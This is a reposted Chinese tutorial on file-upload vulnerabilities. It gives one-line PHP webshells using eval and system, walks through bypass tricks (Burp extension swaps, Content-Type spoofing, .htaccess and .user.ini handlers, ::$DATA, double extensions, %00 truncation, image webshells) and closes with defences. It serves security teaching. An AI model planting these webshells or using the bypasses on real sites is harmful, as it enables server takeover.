当前位置:   article > 正文

文件上传绕过 web shell_绕过文件限制上传shell

绕过文件限制上传shell

Webshell

一句话木马功能

<?php @eval($_POST[cmd]);?>

@eval:是把字符串当成代码执行

<?php @system($_POST[cmd]);?>

@system:是执行系统命令

前端绕过

1.浏览器禁用 js

2.删除

后端验证

上传允许的文件格式,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经

过了前端,所以前端校验就会失效)

1.抓包修改

黑名单绕过 修改配置文件

文件上传漏洞

描述

文件上传漏洞是指由于程序员再开发时,未对用户上传的文件进行严格的验证和过滤,而导致用户可以 上传可执行的动态脚本文件。

原理

用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其 进行检测或者检测的逻辑存在缺陷

危害

非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为 webshell, 上传 webshell 后门很方便地查看服务器信息,查看目录,执行系统命令等;

攻击方法

文件绕过技术

文件绕过技术

  1. 按F12使用网页审查元素,把校验的上传后缀名文件除掉,即可上传。

  1. 把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp 等。即可绕过上传 。

绕过Content-Type检测

PHP: Content-Type: application/octet-stream

PNG: Content-Type: image/png

JPG: Content-Type: image/jpeg

GIF: Content-Type: image/gif

绕过黑名单上传

.htaccess绕过

前提条件:Apache开启rewrite模块。

编写.htaccess文件,内容解释:将1.jpg文件解析成php文件

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传1.jpg文件,成功解析

.user.ini绕过

是php的一个全局配置文件

auto_prepend_file = "x.jpg" 表示加载第一个PHP代码之前执行指示(包含的)文件
auto_append_file = "x.jpg" 表示加载第一个PHP代码之后执行指示(包含的)文件

大小写绕过上传

[" . "] 点绕过

[" "] 空格绕过

NTFS流::$DATA绕过

::$DATA 表示文件的默认数据流,在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当 成文件流处理,上传时将一个有害文件的文件名改为 evil.php::$DATA 。此时,Windows 将会忽略后 缀 .php ,而使用 ::$DATA 后缀,从而绕过服务器端的文件类型检测,成功上传恶意文件到服务器 端。

双写后缀名绕过

pphphp

目录可控%00截断绕过

条件

php版本小于5.3.29

magic_quotes_gpc=Off

POST 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名;

图片马文件包含绕过

文件头检测绕过

图片二次渲染绕过

上传图片马 -> 程序渲染 -> 渲染后图片马中一句话木马消失变成了正常的图片。

如何判断是否为二次渲染。

  1. 判断上传前和上传后的文件大小及内容

  1. 判断上传后的文件返回数据包内容

通用检测方法

判断是否为黑白名单,如果是白名单,寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名 批量提交测试,寻找遗留的执行脚本

使用 burpsuite 抓包上传将后缀名设置成变量,设置一个字典批量提交

文件上传的防御方法

服务器端使用白名单防御;

修复 web 中间件的漏洞;

禁止客户端存在可控参数;

存放文件目录禁止脚本执行;

限制后缀名;

一定要设置图片格式 jpg、gif 、 png 文件名随机的,不可预测;

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/空白诗007/article/detail/736535
推荐阅读
相关标签
  

闽ICP备14008679号